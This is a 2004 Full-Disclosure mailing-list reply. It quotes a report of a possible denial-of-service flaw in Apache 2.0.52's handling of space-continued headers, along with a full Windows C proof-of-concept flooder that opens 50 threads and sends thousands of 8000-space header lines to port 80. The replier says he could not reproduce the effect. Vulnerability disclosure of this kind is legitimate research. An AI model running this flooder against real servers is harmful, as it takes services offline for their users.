I made a Linux version of your PoC and attack an Apache 2.0.52 + Mod_security + Mod_ssl + Mod_proxy and couldn't reproduce the DoS. 50 threads for more than 5 minutes throw Internet (not in the local network).
Regards, Mauro Flores On Mon, 2004-11-01 at 06:57, Chintan Trivedi wrote: > Hi, > > I was doing some testing on Apache webserver ver 2.0.52 (unix) and > previous versions. Just found that a special type of request consumes > lot of CPU usage and hangs the webserver. It even hangs other services > like ssh, ftp .. > > For Apache 2.0.52 a request like > GET / HTTP/1.0\n > [space] x 8000\n > [space] x 8000\n > [space] x 8000\n > . > . > 8000 times > > consumes a lot of cpu. > > I created 25 threads (connections) and send the above request to one > webserver. After just 2-3 minutes of flooding, the server wasnt able > to fulfill any http requests. Even ssh and such other services well > also hanged up. The time required for the attack was just maximum 5 > minutes. > > I am not sure whether it is a valid DoS or not. Replacing the <space> > with any other char will break the connection just after a few > lines(130 or so) of header. Checking the > httpd-2.0.52/server/protocol.c file i see the code for the mime > headers. It checks for the first char of the header. If it is a "space" it > considers it as an extension to the previous line header. The problem > seems to be similar to the advisory published by Guninsky few weeks > ago -> http://www.guninski.com/httpd1.html thought its a bit > different. That fix was for the long request field header when the > header line is extended in the next line using space. > > Well i guess 8K limit for the number of headers filled with spaces is > quite huge. Its enuf to DoS the server using a few threads. > > You can check the attached C file to test it. The file is compiled on > windows system using VC++ 6.0. > > -----------------POC---------------------------- > /// Apache 2.0.52 and earlier DoS > > #include "stdafx.h" > #include "winsock.h" > #include "string.h" > #include "stdio.h" > #include "windows.h" > #pragma comment(lib,"ws2_32") > > DWORD WINAPI attack(LPVOID); > char target[256]; > > int main(int argc, char* argv[]) > { > int l=0; > int j; > DWORD dw; > HANDLE hd; > if(argc<2) > { > printf("usage: %s target", argv[0]); > exit(0); > } > > strncpy(target, argv[1], 256); > printf("Attaching %s ...\n", target); > for(j=0;j<50;j++) > hd=CreateThread(NULL,0, attack, (LPVOID) l , 0, &dw); > > for(j=0;j<50;j++) > WaitForSingleObject(hd, INFINITE); > > printf ("done"); > return 0; > } > > DWORD WINAPI attack(LPVOID l) > { > int s; > SOCKADDR_IN sck; > HOSTENT *host; > char buff[256]; > char space[8000]; > int i; > > WSADATA wsadata; > > WSAStartup(MAKEWORD(1,1),&wsadata); > > memset(space, ' ', 8000); > space[7998]='\n'; > space[7999]='\0'; > > if((host=gethostbyname(target))==NULL) > { > printf("Host not found"); > return -1; > } > sck.sin_family = PF_INET; > memcpy(&sck.sin_addr.s_addr, host->h_addr, host->h_length ); > sck.sin_port = htons(80); > > if((s=socket(AF_INET,SOCK_STREAM,0))==-1) > { > printf("Socket couldn't be initiallized"); > return -1; > } > if((connect(s,(struct sockaddr *)&sck,sizeof(sck)))) > { > printf("Couldn't connect"); > return -1; > } > > sprintf(buff, "GET / HTTP/1.0\n"); > //printf("%s",buff); > int len=strlen(buff); > > if((send(s,buff,len,0))==-1) > { > printf ("send error"); > closesocket(s); > return -1; > } > > for(i=0;i<9999;i++) > { > > if((send(s,space,strlen(space),0))==-1) > { > printf("Send Error on header number %d", i); > closesocket(s); > return -1; > } > > } > closesocket(s); > return 0; > } > ------------------------------------------------ > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
